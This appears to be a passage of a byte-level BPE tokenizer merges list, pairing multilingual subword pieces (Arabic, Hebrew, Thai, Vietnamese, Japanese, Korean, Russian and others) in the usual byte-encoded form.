Ù쨹 +Ġti á»ĩn +Ġkh á»ı +Ġkhá»ı e +ĠاÙĦع اÙħØ© +ãģ« ãģĤãĤĭ +ĠÄij á»Ļc +ì¡ ± +Ġc ụ +й ÑĤе +Ġзак он +ĠпÑĢо екÑĤ +ìĸ ¸ +ÙĦ ØŃ +ĠçalÄ±ÅŁ ma +ãĤĴ ãģĻãĤĭ +Ñħ и +ع اد +Ġ׳ ×ŀצ×IJ +Ġר ×Ļ +à¸Ńà¸Ńà¸ģ มา +ĠT ôi +Ġth ần +ĠÙĬ ا +ล าย +Ġав ÑĤо +Ġsı ra +ĠÙĥ Ø«ÙĬر +Ùħ ÙĬز +ĠاÙĦع ÙĦÙħ +æĸ¹ ãģ¯ +×ķ×¢ ×ĵ +Ġобла ÑģÑĤи +×Ļ׾ ×Ļ×Ŀ +ãģĮ åĩº +à¸ĺ ุ +à¸ĺุ ร +à¸ĺุร à¸ģิà¸Ī +ÙĤت ÙĦ +ר×IJ ×ķ +Ġng u +Ġngu á»ĵn +Ġ มา +Ġпл ан +t ório +Ġcu á»iji +Ñģк ом +ĠاÙĦÙħ اض +ĠاÙĦÙħاض ÙĬ +Ġ×ij×¢ ׾ +Ġר ×ij×Ļ×Ŀ +Ġlu áºŃn +Ùĥ ÙĪ +à¸Ĺัà¹īà¸ĩ หมà¸Ķ +в ан +Ġtho ại +à¹Ħ à¸Ń +б иÑĢ +ĠاÙĦ ض +ت ا +ĠÑĢ Ð¾Ð´ +ĠV Ãł +×ŀ ×Ļף +ĠбÑĭ ла +к ами +ĠÐĶ Ðµ +t ık +קר ×Ļ +ĠeÄŁ itim +ĠÙĥ بÙĬر +ب Ùĥ +ĠÙĦ ÙĪ +в ой +Ġ ãģĵãģ® +ĠÑĤ ÑĢÑĥд +my ÅĽl +Ġs ư +à¸ŀ ีà¹Ī +Ġ à¹ģลà¹īว +×¢ ×§ +Ġ×Ĺ×ijר ת +ระ หว +ระหว à¹Īาà¸ĩ +×Ļ ×Ļ×Ķ +ĠاÙĦÙĨ اس +ün ü +Ġ׾ ×ŀ×Ķ +Ġch ương +ĠH á»ĵ +ار ت +ãĤĪãģĨ ãģ§ãģĻ +l á +×§×Ļ ×Ļ×Ŀ +æľ¬ å½ĵ +æľ¬å½ĵ ãģ« +ãģĵãĤĵ ãģª +Ñģ ов +Ġ×ķ ×Ĺ +à¹Ģà¸ģ à¹ĩà¸ļ +Ġк ÑĤо +à¹Ĥร à¸Ħ +ĠØ´ رÙĥØ© +ع زÙĬ +عزÙĬ ز +Ø·ÙĦ ÙĤ +п ÑĥÑģÑĤ +Ùģ ØªØŃ +ëŀ Ģ +Ġhã y +ض Ùħ +ë¦ ° +åł´åIJĪ ãģ¯ +ãĤª ãĥ¼ +Ġh ắn +Ġ×IJ ×ij×Ļ×ij +Ġש׾×Ķ ×Ŀ +Ġ×Ķ×Ļ ×Ļת×Ķ +ĠاÙĦد ÙĪÙĦØ© +ĠاÙĦ ÙĪÙĤ +ĠاÙĦÙĪÙĤ ت +ãģĤ ãģ¾ãĤĬ +Ġta ÅŁÄ± +İ N +×¢ סק +ãģ¦ ãģĦãģŁ +Ġtá»ķ ng +ĠاÙĦØ¥ ÙĨس +ĠاÙĦØ¥ÙĨس اÙĨ +ÑĢ ÐµÑĪ +Ġg ái +ĠÑĨ ен +ĠÙģ ÙĤد +Ùħ ات +ãģķãĤĵ ãģ® +Ġph ù +×ĺ ×Ķ +ĠÙĪØ§ÙĦ تÙĬ +Ġب Ùĥ +ìĿ´ ëĤĺ +к Ñģ +Ùħ ÙĬر +Ġv ùng +ĠاÙĦØ´ عب +ĠNh ưng +ãĥĢ ãĥ¼ +Ġ×Ĺ×Ļ ×Ļ×Ŀ +ĠØ´ خص +×§ ×ķ×ĵ +ê² Ģ +×¢ ש +×¢ ×ķ׾×Ŀ +צ ×ķר +ع ÙĤد +ĠiÅŁ lem +Ġ×Ķ×ij ×IJ +Ġd ưỡng +à¸Ł รี +Ġph ÃŃa +ãģ®ä¸Ń ãģ§ +Ġп и +Ġng Ãłnh +ним а +ĠÙĩ ÙĦ +Ġ×ķ ×IJת +ĠÄij áng +é quipe +ĠÑįÑĤ оÑĤ +Ġgö rev +ë§ ¤ +Ġqu ân +å¼ķ ãģį +æĻĤ ãģ« +Ġب Ùħا +×ŀ ×Ļת +Ġü lke +Ġ×ŀ×§ ×ķ×Ŀ +×ij ף +æ°Ĺ æĮģãģ¡ +Ġë§İ ìĿĢ +Ġyük sek +ÑĨ енÑĤÑĢ +ĠÙħ جÙĦس +ç§ģ ãģ® +ÙĤد ر +Ġë¶Ģ ë¶Ħ +Ġì° ¨ +خر ج +ãģĭ ãģªãĤĬ +ë³´ ëĭ¤ +Ġ×ŀ ×Ļ×ĵ×¢ +peÅĤ ni +Ġx á»Ń +ìĹIJìĦľ ëĬĶ +ĠباÙĦ Ùħ +ĠÙĪ Ùħا +ĠÑįÑĤ ой +ب ÙĬÙĨ +n ü +ØŃ ز +ØŃز ب +ĠÑĢабоÑĤ а +ĠNh áºŃt +ÙĦ اء +Ġëĵ ¤ +Ġëĵ¤ ìĸ´ +ãĤĦãģĻ ãģĦ +×Ĺ×ĸ ×§ +Ġ×Ķ×Ĺ ×ijר×Ķ +п иÑĤ +ãģĭãĤī ãģ® +Ġë§IJ ìĶĢ +Ġפ ×ķ +ÙĦ Ùİ +à¹Ģà¸ķà¹ĩ ม +ĠÐļ о +Ġm ówi +Ġt ÃŃn +ר×Ĵ ש +פר ×§ +Ġtr ạng +ĠÐŀ н +×Ĺ ×ķ×¥ +ĠعÙĨد Ùħا +Ġب ر +使 ãģĦ +Ġr á»Ļng +ëĮĢ ë¡ľ +íĪ ¬ +Ġktóry ch +в ид +ลูà¸ģ à¸Ħà¹īา +Ġmog Äħ +Ġש ×Ĺ +×ij ×Ĺר +ãĥĸ ãĥŃãĤ° +ĠTh Ãłnh +Ġ×Ķ ×¨×Ļ +ĠÑģÑĤ аÑĤÑĮ +ĠH á»Ļi +à¸ļ à¹īาà¸ĩ +çī¹ ãģ« +ĠÄIJ ức +èĢħ ãģ® +×¢ ×ŀ×ķ×ĵ +×ĺר ×Ķ +Ð ¥ +ĠÙħ Ùħا +Ġe ÅŁ +ĠнеобÑħодим о +ник ов +Ġüzer inde +a ÅĤa +Ġchá»ĭ u +ĠاÙĦ دÙĬÙĨ +أخ بار +ĠÄij au +ãģĮ å¤ļãģĦ +jÄħ cych +د Ø®ÙĦ +ları nd +larınd an +Ġs ẻ +à¸ŀิ à¹Ģศ +à¸ŀิà¹Ģศ ษ +ת ף +t ıģı +Ġlu áºŃt +ĠÅŀ e +ãĤ« ãĥ¼ +ãģ® ãģĤãĤĭ +Ġ×Ķ×IJ תר +ĠاÙĦØ¢ ÙĨ +ıld ı +Ġá o +ĠнаÑĩ ал +Ġvi á»ĩn +Ġ×ij×¢ ×ķ׾×Ŀ +з наÑĩ +×Ļ×ĺ ×Ķ +к ам +ĠÐĺ з +à¹Ģà¸Ĥ ียà¸Ļ +à¸Ļ à¹īà¸Ńà¸ĩ +ÑĤ ÑĢо +à¹Ģ à¸Ł +Ġжиз ни +Ġ สà¹Īวà¸Ļ +Ġv áºŃn +Ġê´Ģ 볨 +Ġl âu +ס ×ĺר +×§ ש +س ÙĬر +Ġ×IJ×ķת ×Ļ +Ġm ôi +ائ ب +Ġо ÑģÑĤа +Ġm ón +Ġ×ij ×ŀ×§×ķ×Ŀ +Ġد اخÙĦ +Ġ×IJ ×ķר +Ġв аÑģ +Ùĥ Ø´Ùģ +ìĺ ¨ +à¸ĸ à¹Īาย +Ġkullan ıl +Ġt ô +ãģ« ãĤĪãĤĬ +ĠëĺIJ íķľ +Ġ×¢×ij×ķ×ĵ ×Ķ +Ġri ê +Ġriê ng +Ġyak ın +ز ا +Å » +×IJ ×ķ׼׾ +شار Ùĥ +Ġб еÑģ +× ´ +Ġا بÙĨ +ĠTá»ķ ng +ÙĨ ظ +ÅĽwi ad +ãĤµ ãĥ¼ +ห าย +ĠG ün +Ġhakk ında +à¹Ģà¸Ĥà¹īา มา +ز ÙĨ +ĠÐł о +Ġbi á»ĥn +ãģ© ãģĵ +Ùģ Ø¹ÙĦ +ز ع +פר ×ĺ +Ġ×Ķ ×Ł +Ø£ ÙĩÙĦ +Ġth ất +ØŃ ÙħÙĦ +Ñĩ Ñĥ +ĠìĤ¬ ìĭ¤ +ì° ¸ +ĠìľĦ íķ´ +ÙĪ Ø¸ +ĠÐŁ од +Ġkho ản +ÑĤ ен +ĠÙģ Ø§ÙĦ +Ñģ ад +à¸Ļ à¸Ńà¸Ļ +ĠاÙĦسعÙĪØ¯ ÙĬØ© +" ØĮ +ĠاÙĦ ÙĴ +ãĤī ãģļ +Ġto án +Ġch ắc +׼ ×Ļר +m éd +méd ia +ز ÙĪ +Ġyan ı +פ ׳×Ļ×Ŀ +ØŃ ظ +Ġб еÑģп +ĠбеÑģп лаÑĤ +ĠбеÑģплаÑĤ но +ĠØ£ ÙħاÙħ +à¸Ń าย +à¸Ńาย ุ +ר שת +Ġg á»ĵ +Ġgá»ĵ m +Ġu á»ijng +ص ب +k ır +ãĥij ãĥ¼ +Ġ׾×ĵ עת +Ġк ÑĥпиÑĤÑĮ +׾ ×ķ×Ĺ +ÙĪØ¶ ع +ÙĤÙĬ Ùħ +à¸Ľ า +ж ив +à¸Ķ ิà¸Ļ +×IJ ×ķפ +à¹Ģล à¹ĩà¸ģ +ãĥĥ ãĥī +иÑĩеÑģки Ñħ +ĠCh á»§ +кÑĢ Ð°Ñģ +ÙĪ ØµÙĦ +p ÅĤat +м оÑĢ +Ġ×Ķ×IJ ×ķ +à¸Ń ิà¸Ļ +Ġíķľ êµŃ +гÑĢ Ðµ +Ġìłľ ê³µ +ì° ½ +Ġê°ľìĿ¸ ìłķë³´ +Ġngh á»ĭ +à¸ĭ า +ØŃس اب +Ġby ÅĤa +ÙħÙĦ Ùĥ +иÑĩеÑģки е +Ġb ác +ض ØŃ +ê¸ ¸ +ש ×ŀ×¢ +Ġìĸ´ëĸ » +Ġìĸ´ëĸ» ê²Į +ìĽ Į +ات Ùĩ +à¹Ĥรà¸ĩ à¹ģ +à¹Ĥรà¸ĩà¹ģ รม +خد ÙħØ© +ĠÐł а +׼×ķ׾ ×Ŀ +×ŀש ×Ĺ×§ +ĠÙĪ ÙĥاÙĨ +ס ×ķ×£ +ĠاÙĦØŃÙĥÙĪÙħ Ø© +Ġ×ij ×ĺ +Ġtr áºŃn +Ġ×Ķ×¢ ×ķ׾×Ŀ +ĠÃŃ ch +t Äħ +ש×ŀ ×ķ +Ġ×Ķר×IJש ×ķף +Ġíķĺ ê³ł +ãģķ ãĤī +ãģķãĤī ãģ« +ãģ« ãģĹãģ¦ +Ġ à¸ľà¸¡ +ãģ® ãĤĪãģĨãģª +ĠÙĪ ÙĤت +ãĥį ãĥĥãĥĪ +ÙĦ عب +ÙĪ Ø´ +ìĺ ¬ +Ġ หาà¸ģ +Ġm iaÅĤ +à¸Ĺ à¸Ńà¸ĩ +иÑĤ а +ا صر +ил ÑģÑı +з е +à¸Ľà¸£à¸° มาà¸ĵ +ãģĿãĤĮ ãģ¯ +Ġb ır +Ġbır ak +صÙĨ اع +Ð ® +Ø´ عر +Ġ׳ ×Ĵ×ĵ +Ġب سبب +ãĥĿ ãĤ¤ +ãĥĿãĤ¤ ãĥ³ãĥĪ +ĠاÙĦج ÙĪ +ĠнеÑģк олÑĮко +Ġki ếm +Ùģ Ùİ +Ġض د +×ij×Ļ×ĺ ×ķ×Ĺ +تاب ع +ÙĨ ز +ĠB ản +Ġaç ıkl +Ġaçıkl ama +Ġ à¸Ħุà¸ĵ +à¸Ĺ า +ÅĤ ów +Ø· ب +ÙĨ ØŃÙĨ +Ġ×ŀ×§ ×ķר +Ġİ s +Ġдом а +Ġ วัà¸Ļ +Ġd Ãłnh +Ñı н +ми ÑĢ +Ġm ô +ĠvÃł ng +ص اب +s ının +à¸Ħ ืà¸Ļ +Ø® بر +×ĸ׼ ×ķ +Ġ×ŀ ש×Ķ×ķ +m ü +Ġкомпани и +Ġ×Ķ×¢ ×Ļר +ĠÙĥ ÙĪ +ÙĤÙĦ ب +ĠlỼ p +и ки +׳ ×ij +à¹Ĥ à¸Ħร +à¹Ĥà¸Ħร à¸ĩ +à¹Ĥà¸Ħรà¸ĩ à¸ģาร +×ŀ×ķ×¢ ×ĵ +ÑıÑĤ ÑģÑı +หลัà¸ĩ à¸Īาà¸ģ +ени Ñİ +Ġש ×¢ +Ġb Æ°á»Ľc +ãĥ¡ ãĥ¼ãĥ« +ãĤĦ ãĤĬ +Ġ×Ļ×ķ×ĵ ×¢ +Ġê´Ģ íķľ +ĠاÙĦØ£ Ùħر +Ġböl ge +ĠÑģв ой +ÙĦ س +Ġ×ŀ×Ļ ×ķ×Ĺ×ĵ +ĠëĤ´ ìļ© +ĠØ£ جÙĦ +ĠÄIJ ông +Ġ×ŀ ×ł×ª +Ġìĭľ ê°Ħ +Ùĥ Ùİ +ãģ¨ãģĦãģĨ ãģ®ãģ¯ +Ġnale ży +تÙĨظ ÙĬÙħ +ĠÑģозд а +Ġph é +Ġphé p +ãģ§ãģį ãģ¾ãģĻ +Ġع ÙĦÙħ +大ãģį ãģª +ãĤ² ãĥ¼ãĥł +í ħĮ +Ġ׼×ķ׾ ׾ +ĠинÑĤеÑĢ Ð½ÐµÑĤ +ĠT ừ +ãģ¨ ãģªãĤĭ +ز اÙĦ +Ġktóry m +Ġnh é +ìĪ ľ +н ев +д еÑĢ +ãĤ¢ ãĥĹãĥª +i á»ĩu +×ij ×Ļ׾ +Ġت س +ĠÄIJ ây +ĠاÙĦØ® اصة +Ġà¹Ģ à¸Ĭ +Ġà¹Ģà¸Ĭ à¹Īà¸Ļ +ص اد +Ġd ạng +س عر +Ġש ×Ļ×ŀ×ķש +×Ĵ ×Ļ×Ŀ +ãģĮãģĤ ãģ£ãģŁ +п ÑĢов +пÑĢов од +Ġ×IJ ×Ļ׳×ķ +Ġ׾ ר×IJ +Ġ׾ר×IJ ×ķת +ĠØ£ Ù쨶ÙĦ +ĠØŃ ÙĦ +ĠØ£ بÙĪ +ê° ķ +Ġì§ ij +ãģ® ãĤĪãģĨãģ« +Ġפ ׳×Ļ +ס ×Ļ×Ŀ +ĠÙĪÙĩ ذا +Ġka ç +Ġé én +Ġê± ´ +ë° Ķ +Ñĥ з +à¸Ĥà¸Ńà¸ĩ à¹Ģรา +i ÅĤ +ĠÐľ Ñĭ +Ġch ết +ĠاÙĦØ« اÙĨÙĬ +×IJ ×§ +Ġ×ķ ×¢×ľ +ĠاÙĦØ· ب +×ij×ĺ ×Ĺ +Ġج دÙĬدة +Ġع دÙħ +ع ز +สิà¹Īà¸ĩ à¸Ĺีà¹Ī +ãģĻ ãĤĮãģ° +ĠÄij ô +ì£ ł +د ÙĤ +н омÑĥ +Ġk á»ĥ +ãĤ¢ ãĥ³ +å¤ļãģı ãģ® +à¸Ľà¸£à¸° à¸ģ +à¸Ľà¸£à¸°à¸ģ à¸Ńà¸ļ +פע×Ļ׾ ×ķת +ĠÑģÑĤ ол +may ı +ãģ¤ ãģĦ +Ġyılı nda +Ġ à¸Īึà¸ĩ +koÅĦ cz +ĠTh ông +Ġак ÑĤив +н ÑģÑĤ +нÑģÑĤ ÑĢÑĥ +ĠÃĸ z +Ġת ×ŀ×Ļ×ĵ +ĠÙĥ ÙĨت +Ñģ иÑģÑĤем +pr és +prés ent +Ġn â +Ġnâ ng +gÅĤ os +ĠÙĪØ² ÙĬر +ØŃ صÙĦ +Ġиме еÑĤ +ØŃ رÙĥØ© +à¸ŀ à¹Īà¸Ń +ãĤĴ ãģĬ +Ġاست خداÙħ +×IJ×Ļר ×ķ×¢ +ä»ĸ ãģ® +Ġש×Ķ ×Ŀ +ãģĹãģŁ ãĤī +ש×ŀ ×Ļ +Ñģ ла +m ı +Ġbaz ı +Ġíķĺ ì§Ģë§Į +×ĵ ׾ +Ġyapt ıģı +ãĥĬ ãĥ¼ +׾ ×Ļ׾×Ķ +ãģ¨ãģĦ ãģ£ãģŁ +änd ig +ĠÅŁ a +ĠÙģÙĬ Ùħا +иÑĤ елÑı +×ŀ ×ķש +à¸Ĥ à¸Ńà¸ļ +l ük +Ġh á»ĵi +Ġëª ħ +ĠاÙĦÙĥ Ø«ÙĬر +צ ×IJ +Ġhaz ır +طر Ùģ +ا ÙĬا +ĠÄij ôi +ен д +ÙĦ غ +×Ĺ ×ĸ×ķר +ĠвÑģ ег +ĠвÑģег да +ëIJĺ ê³ł +×ĵ ×ķ×ĵ +ан а +د ÙĪÙĦØ© +Ġho ạch +ع ÙĦا +عÙĦا ج +Ġ×ķ ×¢×ĵ +×Ķ ×Ŀ +ки й +ÙĦ ÙIJ +Ġ×¢ ׾×Ļ×ķ +ÑİÑī ий +Ġng á»§ +صÙĨ ع +ĠاÙĦع راÙĤ +à¸ķà¹Īà¸Ń à¹Ħà¸Ľ +ãģŁãģı ãģķãĤĵ +Ġph ạm +ÙĦ اÙĨ +ات Ùĩا +Ġbö yle +تÙĨ ÙģÙĬ +تÙĨÙģÙĬ ذ +Ġש×Ķ ×Ļ×IJ +Ñģ Ñĥ +ย าว +Ġש ×ķ׳×Ļ×Ŀ +Ġ×ŀ ×ķ׾ +ĠÑģ ил +Ġ×IJ×Ĺר ×Ļ×Ŀ +Ġph á»§ +ÙĤØ· ع +ĠTh á»§ +à¸Ľà¸£à¸°à¹Ģà¸Ĺศ à¹Ħà¸Ĺย +ÙĨ ÙĤ +ĠÄijo ạn +Ġب Ø¥ +п ÑĢедел +×ķת ×ķ +Ġy arı +пÑĢ Ðµ +ĠczÄĻ ÅĽci +ØŃ ÙĥÙħ +×ķ׳ ×Ļת +פע ׾ +ãĤĴ ãģĹãģ¦ +Ġktó rzy +׾ ×Ŀ +ĠÄIJi á»ģu +ĠкоÑĤоÑĢ Ð°Ñı +ĠìĿ´ ìĥģ +ãģĤ ãģ£ãģŁ +Ġ×ŀ×ĵ ×ķ×ijר +פ ×ķ×¢×ľ +d ım +éĢļ ãĤĬ +ĠбÑĥд ÑĥÑĤ +à¹Ģวà¹ĩà¸ļ à¹Ħà¸ĭ +à¹Ģวà¹ĩà¸ļà¹Ħà¸ĭ à¸ķà¹Į +ا خر +×Ĺ ×Ļ׾ +Ġ×Ļ ×ľ +Ġ×Ļ׾ ×ĵ×Ļ×Ŀ +×Ĺ ×Ļפ +×Ĺ×Ļפ ×ķש +Ġd òng +Ġש ×ĸ×Ķ +ÑĮ е +ãģĤ ãģ¨ +ìŀIJ ê°Ģ +×IJ ×ĵ +Ġü z +Ġüz ere +ظ ÙĦ +Ġ×IJ ×ķ׾×Ļ +Ġ×ij ×Ļ×ķ×Ŀ +ÙĦ ات +Ġm ê +ì¹ ¨ +تØŃ د +تØŃد Ø« +ĠØ® اصة +Ġب رÙĨ +ĠبرÙĨ اÙħج +ĠH Ãłn +×Ĺ ×¡ +ĠÙĪ ÙĦÙħ +×¢ ×Ŀ +Ġm ı +à¸Ł ัà¸ĩ +ש ×¢×Ķ +ÙĪÙģ ÙĤ +ס ×ij×Ļר +алÑĮ нÑĭй +×Ĺש ×ķ×ij +Ġn Ãłng +ë³ ¼ +ĠкоÑĤоÑĢ ÑĭÑħ +Ġ×Ĺ ×ķ×§ +t ör +ĠлÑĥÑĩ ÑĪе +ãĥij ãĥ³ +ลà¹Īา สุà¸Ķ +Ġج دÙĬد +ÙĬد Ø© +à¸Ĺ รà¸ĩ +ãĤĪãĤĬ ãĤĤ +ÙĦ ÙĦ +ãĤĤ ãģ£ãģ¨ +ש×ĺ ×Ĺ +Ġ×ķ ×IJ×Ļ +Ġgi á»ijng +Ø¥ ضاÙģ +×§ ת +ë§ Ŀ +Ġzosta ÅĤ +ÑĢ Ð¾Ð· +×Ļפ ×Ļ×Ŀ +Ġ׼׾ ׾ +ת×ķ׼ ף +dıģ ını +ÙĤ سÙħ +ĠÑģ ÑĩиÑĤ +ĠÑģÑĩиÑĤ а +×ĺ ×ķת +Ġ ưu +ĠØ¢ ÙĦ +Ġм ом +Ġмом енÑĤ +ĠاÙĦتع ÙĦÙĬÙħ +×¢×ľ ×ķת +Ġch ữa +Ġy ön +Ġtr Ãł +ĠØŃ ÙĬÙĨ +à¸ĭ ั +ĠC á +×¢ ×ĸ +ĠاÙĦØ£ ÙħÙĨ +c ÃŃ +Ġv á»ijn +Ġ à¸Ļาย +об ÑĢа +×§ ×IJ +Ġthi ếu +ãĥŀ ãĥ¼ +ส วà¸Ļ +Ġg á»Ń +Ġgá»Ń i +Ġê ¹ +Ġê¹ Ģ +Ġthi á»ĩn +ÙĤ ع +w ÄĻ +Ġн ам +ÑĤ ол +Ġs ân +ס ×ķ×Ĵ +Ġgeç ir +ÑĤ он +ев а +ĠÙĪ Ø¶Ø¹ +Ġع شر +Ñģ ло +à¸Ī ัà¸ļ +ãĤ· ãĥ¼ +ãĤĤ ãģĤãĤĬãģ¾ãģĻ +Ġv ẻ +ĠÄIJ á»ĥ +ر Ù쨹 +ĠاÙĦØ£ÙĪÙĦ Ùī +ÑĤ аÑĢ +ãģªãģı ãģ¦ +Ùħ Ùİ +qu ÃŃ +×¢×ł×Ļ ×Ļ׳ +г ен +Ġh ôm +à¸Ī า +Ġnh Ỽ +ĠاÙĦع ربÙĬ +×IJ ף +Ġl á»Ļ +Ġje ÅĽli +à¹Ģà¸Ĺà¹Īา à¸Ļัà¹īà¸Ļ +ĠØ£ÙĨ Ùĩا +Ġt uy +Ġtuy á»ĩt +Ġت ص +Ġتص ÙĨÙĬ +ĠتصÙĨÙĬ Ùģ +Ġê·¸ëŁ¬ ëĤĺ +о ÑĨен +à¸ģิà¸Ī à¸ģรรม +ãĤĦ ãģ£ãģ¦ +Ġkh á»ıi +Ġl á»ĩ +ĠاÙĦÙħج تÙħع +à¸Ńาà¸Ī à¸Īะ +à¸Īะ à¹Ģà¸Ľà¹ĩà¸Ļ +ов Ñĭй +ר ×Ŀ +ร à¹īà¸Ńà¸Ļ +ש ×ŀש +人 ãģ« +Ġüzer ine +פר ×Ļ +du ÄŁu +Ñĩ ик +Ġmù a +Ġ×ŀת ×ķ×ļ +Ġc áºŃp +Ġت ارÙĬØ® +×ij׾ ת×Ļ +Ġì¢ Ģ +ÙĦ ع +ب اÙĨ +Ġch út +Ġ×Ķ×ĸ ×ŀף +n ée +ĠLi ên +ĠÙĦÙĦ Ø£ +ØŃد ÙĪØ¯ +Ġ×¢ ׼ש×Ļ×ķ +в оз +Ġyapt ı +Ġоб о +à¹ĥหà¹ī à¸ģัà¸ļ +Ġ×ij×Ķ ×Ŀ +ãģı ãģ¦ +ر أس +ĠÑģÑĢед ÑģÑĤв +ĠB Ãłi +ãģĵãģ¨ ãģ« +ĠìĤ¬ íļĮ +Ġ모 ëijIJ +×ij ×IJ +Ġtr ắng +ĠاÙĦبÙĦ د +ĠHo Ãłng +ли бо +ĠдÑĢÑĥг иÑħ +İ R +Ñĥм а +ĠJe ÅĽli +ãĤĤ ãģĹ +Ġv òng +Ġ×IJתר ×Ļ×Ŀ +ĠÄij á»įc +Ġв оÑĤ +ãģł ãģĮ +ë° ° +à¸Ķู à¹ģล +Ġ×ŀ ׼׾ +ìĹIJ ëıĦ +г аз +Ġ׳×ķס פ×Ļ×Ŀ +ãģĵãģ¨ ãģ§ +Ġت ÙĪ +ãģ§ ãģĤãĤĬ +à¸Ļั à¹Īà¸ĩ +ĠможеÑĤ е +sz ÄĻ +ãģ® ãģł +ĠÙħÙĨ Ùĩ +Ġb á»ķ +Ġb üt +Ġbüt ün +ë³´ ê³ł +Ġch á»ĵng +à¹ģà¸Ī à¹īà¸ĩ +ĠV ì +ĠØŃ ر +Ġgi ản +ĠÙħ دÙĬÙĨØ© +تط بÙĬÙĤ +à¸Ī ิ +æĹ¥ ãģ® +б ил +à¸ģ à¸Ńà¸ĩ +ê³ ³ +ĠØ£ Ùħا +ìĨ IJ +Ġtr ái +ĠвÑģ ем +Ġس ÙĨØ© +ĠÑģай ÑĤ +Ġг оÑĤов +п Ñĭ +ĠëIJ ł +ĠاÙĦØ® Ø· +ĠاÙĦرئÙĬس ÙĬØ© +Ġíķ ©ëĭĪëĭ¤ +ĠìķĦëĭĪ ëĿ¼ +ĠìĿ´ ëłĩ +ĠìĿ´ëłĩ ê²Į +) ØĮ +h ält +ĠØ£ Ùħر +Ġع Ùħر +à¸ģà¹ĩ à¸Īะ +Ġ à¸Ĺำà¹ĥหà¹ī +Ġc ân +Ġ×ij ׾ +Ġ×ij׾ ×ij×ĵ +פ סק +ĠÙĬ ÙĤÙĪÙĦ +н ÑĥÑĤÑĮ +à¹ģ à¸Ħ +Ġ×§ צת +Ġn ằm +Ġh òa +bilit Ãł +ĠìĹĨ ëĭ¤ +Ġ׼ פ×Ļ +ÑĢ Ð¾Ð¶ +лаг а +Ġ×Ķש ×Ļ +ĠNgo Ãłi +ĠÙĪ Ø¬ +ĠÙĪØ¬ ÙĪØ¯ +ĠìľĦ íķľ +Ġus ÅĤug +Ġtu ần +d ź +×ŀ ×ķף +ĠاÙĦع دÙĬد +Ġch ẳng +สุà¸Ĥ à¸łà¸²à¸ŀ +Ġ×ij ×ĵר×ļ +ĠÑģеб е +ĠìŀĪ ìĿĦ +ĠاÙĦØŃ اÙĦ +Ġd á +Ġc ưá»Ŀi +Ġnghi ên +ie ÅĦ +ĠD ương +ï¼ ħ +Ø´ د +ãģĦãģ¤ ãĤĤ +ĠвÑĭб оÑĢ +Ġc á»Ļng +ש ×Ļ׳×ķ×Ļ +Ġch ạy +Ġ×ij×¢ ׾×Ļ +اخ بار +íķĺ ë©° +ż Äħ +ج از +Ġ׳ ר×IJ×Ķ +ศ ู +ศู à¸Ļ +ศูà¸Ļ ยà¹Į +×Ĵ ×¢ +Ġ×¢ ×ĵ×Ļ +Ġ×¢×ĵ×Ļ ×Ļף +بر ا +ÑĨи й +ĠÄIJ á»ĵng +ÙĤ اÙĨÙĪÙĨ +ĠÄij ứng +ãģĹãģŁ ãĤĬ +Ġ×Ĺ×Ļ ×Ļ +Ġë IJľ +ĠëIJľ ëĭ¤ +Ġм еждÑĥ +à¸ŀวà¸ģ à¹Ģà¸Ĥา +ĠB ắc +ล ำ +ë° ± +ĠíĻ ķ +มาà¸ģ ม +มาà¸ģม าย +бан к +à¸Ńา à¸ģาร +Ġh Ãł +Ġ׾ ׳ +à¸Ń à¸Ń +Ġë°Ķ ë¡ľ +л ом +m ática +ĠØŃ د +اب ت +à¸Ĺีà¹Ī à¸Ļีà¹Ī +Ġco ÅĽ +ÙģÙĬ دÙĬ +ÙģÙĬدÙĬ ÙĪ +ĠмеÑģÑĤ о +Ġph út +มาà¸ģ à¸ģวà¹Īา +×IJ פ +ب ÙIJ +ĠPh ú +ì± Ħ +ĠÙĪ Ø³ÙĦÙħ +à¸Īี à¸Ļ +поÑĤ ÑĢеб +Ġ×Ĺ×ĵ ש×ķת +Ø´ ÙĪ +Ġעצ ×ŀ×ķ +ĠعÙħÙĦ ÙĬØ© +à¸Ħุà¸ĵ à¸łà¸²à¸ŀ +ãģ¾ãģĻ ãģĮ +دع ÙĪ +طر ÙĤ +à¹Ħมà¹Ī à¸ķà¹īà¸Ńà¸ĩ +ë² Ķ +ìĬ ¹ +Ġk ÃŃch +ĠìĹĨ ëĬĶ +ĠÑĤ ам +ĠÙĨ ØŃÙĪ +ĠاÙĦÙĤ اÙĨÙĪÙĨ +×Ĺ ×ķ×Ŀ +Ġk ız +Ġ×ĵ ×Ļף +ĠвÑĢем ени +ãģ£ãģŁ ãĤĬ +ĠØ´ Ùĩر +ĠìĦľ ë¹ĦìĬ¤ +×¢ ש×Ķ +Ġgi ác +ĠاÙĦسÙĦ اÙħ +Ġ×IJ ש +ĠполÑĥÑĩ а +à¸Īัà¸Ķ à¸ģาร +к оÑĢ +Ġ×Ķ×ĺ ×ķ×ij +ราย à¸ģาร +주 ìĿĺ +à¹ģà¸ķà¹Ī ละ +Ġê·¸ëŁ° ëį° +à¸Ĺีà¹Ī à¹Ģà¸Ľà¹ĩà¸Ļ +Ġת ×ķ×ļ +بÙĬ اÙĨ +Ð Ļ +oÅĽci Äħ +ÑĤ ок +ĠÃ Ķ +ĠÃĶ ng +à¹Ħมà¹Ī à¹ĥà¸Ĭà¹Ī +ãģ¿ ãģ¦ +ÐŁ о +ĠЧ ÑĤо +íĻ © +×ĺ ×ij×¢ +меÑĤ ÑĢ +Ġ×ij ×ŀ×Ķ +Ġ×ij×ŀ×Ķ ×ľ +Ġ×ij×ŀ×Ķ׾ ×ļ +Ñĩ ÑĮ +×§ ש×Ķ +з нак +знак ом +uj ÄĻ +×Ļצ ר +ĠاÙĦÙħ ÙĦÙĥ +ı yla +×IJ×ŀ ת +à¸Ľ ิà¸Ķ +×IJ ×Ĺ×ĵ +ر اد +Ġm áºŃt +ëĭ¤ ëĬĶ +Ġl ạnh +ש׾ ×ķש +ØŃ دÙĬØ« +ت ز +å¹´ ãģ® +Ġк ваÑĢ +ĠкваÑĢ ÑĤиÑĢ +ä½ľ ãĤĬ +رÙĪ Ø¨ +ов ан +ĠТ е +à¸Īำ à¸ģ +à¸Īำà¸ģ ัà¸Ķ +ب اط +×Ĵ ת +Ġм аÑĪ +ĠмаÑĪ Ð¸Ð½ +×Ļצ ×Ķ +ãģ» ãģ¨ +ãģ»ãģ¨ ãĤĵãģ© +ÃŃ do +ĠÑı зÑĭк +à¸ļ ิà¸Ļ +สà¸ĸาà¸Ļ à¸Ĺีà¹Ī +ĠìĹ ´ +ãĤ¦ ãĤ§ +Ġc Ãł +п ан +åı£ ãĤ³ãĥŁ +Ġر د +اÙĤ ت +ĠÙĥ ب 